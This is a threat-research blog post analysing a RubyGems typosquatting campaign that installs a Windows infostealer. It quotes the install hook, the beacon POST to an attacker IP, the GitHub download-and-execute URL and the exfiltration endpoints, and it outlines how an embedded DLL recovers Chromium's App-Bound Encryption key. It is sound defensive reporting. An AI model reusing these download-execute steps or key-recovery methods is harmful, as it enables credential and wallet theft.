BLOG

StubMaker RubyGems Campaign Delivers a Windows Infostealer

The malware fingerprints victims, downloads a Windows loader, and deploys an encrypted Go infostealer

By c0a15726-c5b1-4b0d-85e6-fe15553df9e2 ·

StubMaker RubyGems Campaign Delivers a Windows Infostealer

On August 15, 2026, we discovered newly-published RubyGems packages that installs a multi-stage Windows infostealer malware. This new malware harvests browser credentials, cryptocurrency wallets, seed phrases, and Telegram data. All of the malicious Rubygems packages appear to be typosquats of popular Ruby dependencies, but rather than the clever SEO-fueled typosquats we've seen from other threat actors (e.g. events-channel imitating the popular Node.js events module), they're all clumsy typos.

But don't let that fool you into not taking them seriously. The threat actor still managed hundreds of downloads before the packages were taken down.

The malicious packages include an extconf.rb hook that downloads exactly one file: a 22 MB Rust loader from a GitHub release. Everything after that is decrypted in memory. The loader carries an 11 MB Go infostealer inside its own data section and never fetches it from a URL. The stealer, in turn, carries its own embedded DLL for extracting the ABE key that modern Chromium versions use to lock down saved passwords and cookies, so a browser protection meant to survive exactly this kind of theft doesn't hold. No second-stage download, no C2 for the payload itself, nothing for network defenders to catch after the first request.

We’re naming this campaign StubMaker (click here to see all the threat reports), after the artifact that makes it work: make_stub and make_stub.bat, the fake compiler stand-ins the installer writes to disk. RubyGems expects extconf.rb to configure and build a native C extension. StubMaker doesn’t build anything — it generates a Makefile with empty all, install, and clean targets, plus Unix and Windows stub scripts that do nothing but return success, so the extension phase reports a clean build while the real work (the platform beacon, the Windows loader fetch and execution) happens in the installer hook itself. The name points at that specific move: manufacturing a fake build toolchain to make a malicious install look like a routine one, rather than just describing another typosquatted RubyGems package.

That matters for detection. If you're waiting to see a second payload download before you treat this as a full compromise, you're already too late. Everything that follows the first GitHub request runs entirely off what was already delivered.

  • Threat Type: Supply-chain downloader and Windows infostealer

  • Affected Ecosystem: RubyGems

  • Impact: Theft of credentials, authenticated browser sessions, payment-card data, cryptocurrency wallets and seed phrases, Telegram data, and host information

  • Key Finding: The downloaded loader and browser-injection DLL are encrypted inside earlier stages rather than retrieved from additional payload URLs

  • Exfiltration: Stolen data is uploaded to Gofile; the resulting download link is sent to dresslee.com over unencrypted HTTP

These packages represent a layered supply-chain attack built to frustrate superficial analysis. The Ruby layer provides installation-time execution and platform filtering, the Rust loader conceals the primary stealer as encrypted data, and the Go payload keeps a browser-injection DLL embedded for defeating modern Chromium protections.

From Two Packages to Seventeen

We first identified this campaign from two typosquatted packages, brumdler and brundlef, published under the RubyGems account gemlewqqhu1 (“Taylor Moore”). Both names imitate the legitimate package bundler, the dependency manager present on nearly every Ruby install, making a mistyped gem install bundler an easy way to land on either one.

That wasn’t the end of it. Within a day, a second account, mod8rz41mje (“Riley Miller”), surfaced and pushed 15 more gems — including a new version of brumdler.

How interesting, we thought, that a totally different publisher was able to push new code to brumdler. It turns out this matches a known, maintainer-acknowledged RubyGems.org behavior: once all versions of a gem are yanked, its namespace opens up for any account to claim with a new push — the original owner has no special reclaim right, and there’s no documented reservation period standing in the way (rubygems/rubygems.org#1226, discussion #2787). That would explain how mod8rz41mje ended up owning the exact package name that was already taken down. Rather than register a new typosquat, the actor could simply wait for brumdler to free up and reclaim it. The version history for the current brumdler is consistent with this — two versions with unusual, high build numbers (1.0.44290 and 1.0.86147) were pushed and yanked on August 15, before a 1.0.0 release landed and stayed live on August 16.

We see a similar shape with brundlef. RubyGems.org currently shows it as unhosted (“this gem is not currently hosted on RubyGems.org”), with ownership listed under a third account, rbq95bwt6q (“Alex Davis”), rather than the original gemlewqqhu1.

Whatever the exact mechanism, the practical effect was a campaign that didn’t slow down after the initial takedown — it multiplied and diversified. The 15 gems pushed from mod8rz41mje typosquat other high-traffic Ruby dependencies:

  • i18n — the standard internationalization library for Ruby, letting apps store and swap in translated text for different languages and locales.

  • rake — a build-automation tool for Ruby (Ruby’s answer to make) used to define and run tasks like tests, database migrations, and deployments.

  • activesupport — a core Rails library that extends Ruby’s built-in classes and provides utility methods used throughout most Rails applications.

Each package pushed by mod8rz41mje also lists a different fabricated author name, despite all 15 being pushed from the same account on the same day:

Package

Authors

Typosquat

Downloads

Description

activesupmport

Casey Miller

activesupport

61

“Small core helpers”

brumdler

Blake Miller

bundler

192

“Handy tools”

ubnlder

Jamie Parker

bundler

70

“Flexible core helpers”

ubnuler

Jamie Brooks

bundler

70

“Compact extras”

i18om

Blake Carter

i18n

63

“Minimal extensions”

i1l8n

Hayden Brooks

i18n

61

“Quick extras”

iai8n

Riley Foster

i18n

65

“Portable extensions”

ie18u

Cameron Miller

i18n

70

“Flexible extensions”

ioe18n

Quinn Parker

i18n

75

“Clean runtime helpers”

ise18n

Blake Carter

i18n

60

“Practical extensions”

ri18nr

Hayden Murphy

i18n

61

“Simple runtime helpers”

orakw

Drew Turner

rake

58

“Handy helpers for ruby”

rakier

Blake Parker

rake

56

“Neat tools”

joxn

Taylor Gray

(unclear)

339

“Lightweight extensions”

reaker

Avery Collins

(unclear)

61

“Flexible support”

You might be wondering about the author names. How can they differ from the package publishers' claimed names? Unfortunately, the answer is simple: in Ruby, authors isn't a verified identity. It's a plain-text field set in the gem's .gemspec before it's built, no different from the version number or description:

Gem::Specification.new do |spec|
  spec.authors = ["Taylor Gray"]

RubyGems.org never checks that value against anything. The field doesn't have to match an email, a real name, or the account doing the pushing. The only identity actually enforced is owners, tied to the account authenticated via API key at gem push time and shown on each gem's page as "Pushed by." All 15 gems above were "Pushed by" the same account, mod8rz41mje, regardless of which name sits in the author field.

How the malware works

The malicious chain begins in an extconf.rb file, a filename normally used to configure native extensions during RubyGem installation. Instead of preparing legitimate native code, the file loads an installation runner and immediately invokes it:

require_relative '../../lib/install_core/runner'

InstallCore::Runner.__run__

The script then creates empty all, install, and clean Makefile targets along with Unix and Windows make stubs that return success. These files allow the extension phase to appear successful without building anything meaningful.

This is a useful detection point: a native-extension hook that performs network operations and then manufactures an empty Makefile deserves immediate scrutiny.

The Ruby installer

The runner has two distinct network behaviors. First, it sends a platform beacon on Windows, macOS, and Linux:

POST http://193.70.34.101:20099/vote
Content-Type: application/json
User-Agent: Ruby

{"platform":"Windows"}

The platform value can also be MacOS or Linux. The code retries this request up to three times. Because the endpoint uses plain HTTP, the traffic and victim platform are visible to anyone able to observe or modify the connection.

The second behavior is restricted to Windows. The runner reconstructs this Base64-obfuscated URL:

https://github.com/bebraz1/qPzM50V1AKG0rVlH/releases/download/null/main.exe

It saves the response as main.exe in the user’s Downloads directory and immediately attempts execution through several fallbacks: Process.spawn, cmd /c start, system, and Open3.popen2e.

There is no payload signature, expected hash, file type, or maximum-size check in the Ruby code. It accepts any nonempty successful response. The HTTPS implementation initially verifies certificates but explicitly retries with certificate verification disabled after an SSL failure.

Technical analysis

Attack chain

Stage 1: RubyGem installation hook

extconf.rb invokes the malicious runner during the native-extension phase and creates dummy build files to keep installation moving.

Stage 2: Victim beacon

The runner sends the detected operating-system family to 193.70.34.101:20099. This occurs on all supported operating systems.

Stage 3: Windows loader delivery

Windows victims receive main.exe from a GitHub release. The Ruby stage writes it to the Downloads directory and executes it.

Stage 4: Embedded payload decryption

The Windows loader contains a 22,638,592-character hexadecimal blob representing 11,319,296 bytes of ciphertext. It verifies the encrypted material, decrypts it with a modified ChaCha20-style construction and additional XOR layers, checks the recovered data for an MZ header, and manually maps the PE into memory.

The outer loader does not download this second executable. It is already embedded in encrypted form.

Stage 5: Credential and wallet theft

The recovered Go executable enumerates Chromium-family browser profiles, decrypts stored values, collects extension data, scans for cryptocurrency wallets and seed phrases, extracts Telegram Desktop data, and gathers system information.

Stage 6: Archive upload and notification

The stealer builds a password-protected ZIP in memory and submits it to Gofile. It then sends the Gofile download link and a summary of the theft to an attacker webhook.

Loader analysis

The downloaded loader is a stripped 64-bit Rust executable. Its large read-only data section contains both the encoded payload and the constants needed to recover it. Static disassembly shows the following sequence:

  1. Decode the embedded hexadecimal ciphertext.

  2. Verify its integrity with SHA-256 over the embedded keying material and ciphertext.

  3. Apply a modified ChaCha20-style stream transformation.

  4. Apply a linear-congruential-generator XOR stream.

  5. Apply a final repeating XOR mask to the first 64 bytes.

  6. Confirm the result begins with MZ.

  7. Resolve Windows APIs by hashed names and manually map the recovered PE.

This design hides the final stealer from basic string scanning and avoids writing that second executable to disk.

Recovered Go infostealer

The embedded payload identifies itself internally as wincfg, but its symbols describe a purpose-built information stealer. Relevant package paths include:

syscfg/internal/chrome
syscfg/internal/extract
syscfg/internal/messagers
syscfg/internal/notify
syscfg/internal/pack
syscfg/internal/upload
syscfg/internal/wallet

The binary retains detailed Go function names, making its collection workflow unusually clear. Confirmed functions include:

ExtractKeysWithABE
ExtractExtensionsToMem
ExtractTelegramToMem
ExtractWalletsToMem
ScanSeeds
ReadCookies
ReadPasswords
UploadGofileBytes
SendLogWebhook
CreateEncryptedZipFromMap

Browser Data Theft

The stealer targets a broad range of Chromium-derived browsers, including Chrome, Edge, Brave, Opera, Opera GX, Vivaldi, Chromium, Yandex, Avast, AVG, CCleaner Browser, and numerous smaller derivatives.

It queries browser SQLite databases for:

  • Saved usernames and passwords

  • Cookies and session tokens

  • Payment-card numbers

  • Locally stored CVC values

  • Browser history

  • Extension storage and IndexedDB data

The embedded SQL includes queries against logins, cookies, credit_cards, and local_stored_cvc tables.

Modern Chromium releases protect some secrets with Application-Bound Encryption. The malware contains a separate encrypted DLL referred to as abe_payload.dll. Static symbols show logic to patch this DLL, locate or start browser processes, wait for COM initialization, inject the payload from memory, and recover the browser’s ABE key.

The browser DLL is another embedded stage. No remote DLL download was found.

Embedded ABE payload DLL

The embedded abe_payload.dll was independently recovered as inert bytes and inspected without loading or executing it. It is a small, unsigned 64-bit Windows DLL with a single export named ABEPayload. Its role is narrow but significant: it acts as an in-browser helper for recovering Chromium’s App-Bound Encryption key.

The DLL is a template rather than a standalone program. Before loading it, the Go stealer patches configuration into reserved regions identified by markers such as:

ABE_BROWSER_CONFIG_MARK
ABE_DEBUG_PATH_PLACEHOLDER
ABE_KEY_PATH_PLACEHOLDER
PIPE_NAME_PLACEHOLDER
BLOB_DATA_PLACEHOLDER

The patched data supplies the target browser’s COM configuration, an encrypted ABE blob, its length, a named-pipe identifier, and output paths. The DLL rejects blob lengths outside the range of 1 through 4,096 bytes.

Once invoked inside the browser process, ABEPayload performs the following sequence:

  1. Deletes any prior debug-log file at the configured path.

  2. Opens the configured named pipe, retrying up to 50 times with a 100 ms delay.

  3. Initializes COM with CoInitializeEx.

  4. Creates the browser elevation-service COM object with CoCreateInstance.

  5. Dynamically resolves CoSetProxyBlanket and configures the COM proxy for impersonation.

  6. Passes the encrypted browser-key blob to an interface method identified by its diagnostic strings as DecryptData.

  7. Writes the recovered key bytes to the patched key-file path.

  8. Returns an HRESULT, key length, and, on success, the recovered key through the named pipe.

The default template contains the following COM identifiers, although the Go host’s patchABEConfig routine can replace browser-specific values before injection:

{708860E0-F641-4611-8895-7D867DD3675B}
{463ABECF-410D-407F-8AF5-0DF35A005CC8}
{1BF5208B-295F-4992-B5F4-3A9BB6494838}

The first GUID is associated with Chrome’s elevation service; the remaining values are attempted interface identifiers. This supports the broader static evidence that the Go stealer loads the helper inside a browser process so the privileged service will decrypt an application-bound key in the expected caller context.

The DLL itself has no socket, HTTP, DNS, or other networking imports. It contains no URLs, domains, or IP addresses and does not retrieve further payloads. It also contains no registry, service, scheduled-task, or startup-folder persistence. Process discovery, browser startup, and in-memory loading are handled by the parent Go executable rather than by this DLL.

The key operational distinction is that the key output file and named-pipe messages are locally generated artifacts. They are neither additional downloads nor independent exfiltration. The parent stealer subsequently uses the recovered key to decrypt newer Chromium v20 secrets before packaging the stolen browser data.

Cryptocurrency theft

The malware contains extensive definitions for browser-extension and desktop wallets. Targets include MetaMask, Coinbase Wallet, Phantom, Solflare, Exodus, Electrum, Bitcoin, Litecoin, Dogecoin, Monero, Atomic, Guarda, Trezor Suite, and many others.

In addition to copying wallet files and extension storage, it scans text and JSON content for recovery-related field names and validates candidate phrases against the BIP-39 word list. Recovered results are formatted into wallets.txt and seeds.txt inside the exfiltration archive.

No transaction-signing, blockchain RPC, smart-contract, or direct fund-transfer behavior was identified. The threat instead steals the material needed for the attacker to access funds later.

Telegram and host collection

The payload searches for Telegram Desktop tdata, including standard and UWP installation locations, and adds recovered material to the in-memory collection.

Host reconnaissance includes:

  • Public IP address from api.ipify.org

  • Username and hostname

  • Windows country/GeoID

  • Operating-system information

  • CPU, GPU, and installed RAM

The collected host data is written to SystemInfo.txt within the archive and summarized in the final webhook message.

Exfiltration

The stealer uses three network services after execution:

Destination

Method

Purpose

https://api.ipify.org

GET

Retrieve the victim’s public IP address

https://upload.gofile.io/uploadfile

POST multipart

Upload the encrypted stolen-data archive

http://dresslee.com:20027/xf39jMJ9P1

POST JSON

Send the Gofile link and victim summary to the attacker

The Gofile response is JSON containing the uploaded object’s code. The malware constructs https://gofile.io/d/<code> and places that URL into the webhook message. This Gofile URL is an exfiltration result, not another malware download.

The webhook description reports counts for wallets, passwords, cookies, and browser-history records, along with country, OS, RAM, and GPU information.

Expected archive paths and filenames include:

Browsers/
Extensions/
Wallets/
extensions.txt
wallets.txt
seeds.txt
SystemInfo.txt
cookies.txt
passwords.txt
cards.txt
history.txt

The embedded ZIP password is:

hLumBaC2Kr1lZ_hk

No scheduled task, Run key, service, startup-folder entry, or other persistence mechanism was confirmed. The malware appears designed for rapid collection and exfiltration rather than long-term access.

Does the malware download more payloads?

No additional remote executable or script was identified after main.exe. The apparent multi-stage chain is created through embedded payloads:

Ruby installer
  -> downloads main.exe from GitHub
  -> main.exe decrypts an embedded Go stealer in memory
  -> the Go stealer injects an embedded DLL into browser processes
  -> stolen data is uploaded to Gofile
  -> the Gofile link is reported to dresslee.com

The request to api.ipify.org returns only the victim’s public IP address. Gofile is used to upload stolen data, and the webhook receives the resulting link. Neither path is used to fetch another malware stage in the analyzed samples.

Indicators of Compromise (IOCs)

Network Indicators

193.70.34.101
193.70.34.101:20099
http://193.70.34.101:20099/vote
github.com/bebraz1/qPzM50V1AKG0rVlH
https://github.com/bebraz1/qPzM50V1AKG0rVlH/releases/download/null/main.exe
release-assets.githubusercontent.com/github-production-release-asset/1334756299/1fccddb3-ab7e-408d-afbb-b139111b0b50
https://api.ipify.org
https://upload.gofile.io/uploadfile
https://gofile.io/d/
dresslee.com
dresslee.com:20027
http://dresslee.com:20027/xf39jMJ9P1

File Indicators

main.exe
abe_payload.dll
make_stub
make_stub.bat
Makefile

SHA-256 Hashes

# extconf.rb
a280b369c95b04530af11598f15a58328722af0325509fe1c55028c3fa873111

# Ruby installation runner
2edf1494951ea52eb86c606212668822081b3c589b821e8ec33cde59b65141a7

# Downloaded Rust loader: main.exe
6f088ade49456db2422c3edfbb9998f4a3e9cce7c4c00a7279fb45d672a82b7d

# Recovered Go infostealer
1afff50ca4064310d3492c652e1c3168216dcb42063e0b26c223038db46b8731

# Recovered embedded ABE helper DLL
67719fa6fcaa97936bf678565d6777db5c194e14efeba16864be8dac966e24bc

Detection and Response

Defenders should look for Ruby or RubyGem installation processes making outbound connections, particularly during extconf.rb execution. High-value behavioral detections include:

  • Ruby posting JSON to 193.70.34.101:20099/vote

  • Ruby writing Downloads/main.exe

  • main.exe executing from a user Downloads directory

  • Browser processes being terminated, restarted with startup-suppression flags, or opened for injection

  • Unsigned code loaded into a Chromium browser followed by elevation-service COM activation and named-pipe traffic

  • Connections to Gofile immediately followed by HTTP traffic to dresslee.com:20027

  • Access to many Chromium profile databases in quick succession

  • Collection of wallet-extension directories, Telegram tdata, and BIP-39 seed phrases

If execution is suspected, isolate the system immediately. Revoke browser sessions and Telegram sessions, rotate every browser-stored credential from a clean device, and treat saved payment cards as compromised. Cryptocurrency recovery phrases found on the host must be considered stolen; move assets to newly generated wallets using a trusted, uncompromised device.